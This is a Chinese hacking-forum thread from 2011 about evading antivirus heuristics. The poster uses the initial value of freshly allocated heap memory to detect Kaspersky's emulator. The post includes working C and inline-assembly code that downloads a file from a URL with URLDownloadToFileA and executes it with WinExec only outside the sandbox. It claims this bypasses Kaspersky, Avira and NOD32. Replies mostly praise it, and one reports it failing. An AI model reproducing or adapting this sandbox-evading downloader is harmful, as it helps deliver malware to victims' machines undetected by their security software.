利用堆空间突破启发式
本帖最后由 ForXuān 于 2011-11-3 22:02 编辑这个思路是前几天复习指针时突然想到的,我们先来看一段代码:char *p = new char;
*(p+1) = 'f';
printf("%x\n",*p);
printf("%c\n",*(p+1));
printf("%x\n",*(p+2));写这段代码当时是为了测试堆空间,输出结果为:
ffffffcd
f
ffffffcd
从结果中可以看到,除了中间那个“f”是我赋值的,上、下两个数都是是堆空间申请后的初始值。当时我就觉得0xffffffcd这个数值应该是系统用来识别堆空间用,这样在释放的时候就可以根据这个数值识别应该回收哪些字节了。这时编译的模式是Debug模式,于是下意识的调用成Release模式,再次编译后竟出现了不同的结果:
0
f
0
我们可以看到Release模式后,堆空间的初始值变成了0,至于为什么变成0我至今也没搞清楚(本人水平有限,如果有知道的朋友还望指出原因)。但马上就跟免杀方面联系到了一起,Debug的调试模式,它的堆空间就有初始值,那的虚拟机环境也可以算是一个调试模式了,那里面的堆空间会不会也是有初始值的呢?于是拿卡巴做了一个实验,证明我的想法是没错的,由此我们就可以利用这一点来突破卡巴的启发式查杀,下面是主要的代码:HINSTANCE hi;
hi=LoadLibrary("urlmon.dll");
PVOID Down=GetProcAddress(GetModuleHandle("urlmon.dll"),"URLDownLoadToFileA");
_asm
{
push 0
push 0
push Str
push Url
push 0
call Down
}
FreeLibrary(hi);
char *p1=new char;
if((*p1)==0)
{
hi=LoadLibrary("kernel32.dll");
PVOID Run=GetProcAddress(GetModuleHandle("kernel32.dll"),"WinExec");
_asm
{
push SW_SHOW
push Str
call Run
}
FreeLibrary(hi);
delete p1;
}代码很简单,就是利用判断新申请的堆空间的初始值是否为0,不为0就说明是在上马的虚拟机环境内,则不会执行完整功能。此段代码在多台WINXP SP3和WIN 7环境下测试通,均可以成功下载并运行记事本。卡巴、小红伞、NOD32的启发式也都全部免杀。
由于想申请核心会员用的,所以附上杂志上证明原创的图片,让大牛们见笑了
思路新颖,风格独特,不错! {:soso_e149:}
唉,让各位前辈见笑了,跟各位比起来我还有很长一段路要走 ForXuān 发表于 2011-11-3 22:00 static/image/common/back.gif
唉,让各位前辈见笑了,跟各位比起来我还有很长一段路要走
谁都是这么一路走过来的。 vmp的壳好像就可以拒绝在虚拟机中运行……不知道是啥原理…… 测试了一下好象不给力 没有用哈哈int main(int argc, char* argv[])
{
char *p1=new char;
if ((*p1)==0)
{
printf("能看到我不?\r\n");
}
delete p1;
getchar();
return 0;
} 思路确实很新颖,赞一个 我在想,是来了这论坛再去黑防,还是在黑防然后来论坛的?!?!? 思路很新啊,判断杀软要比那些反调试技术简单的多 支持一下吧
页:
[1]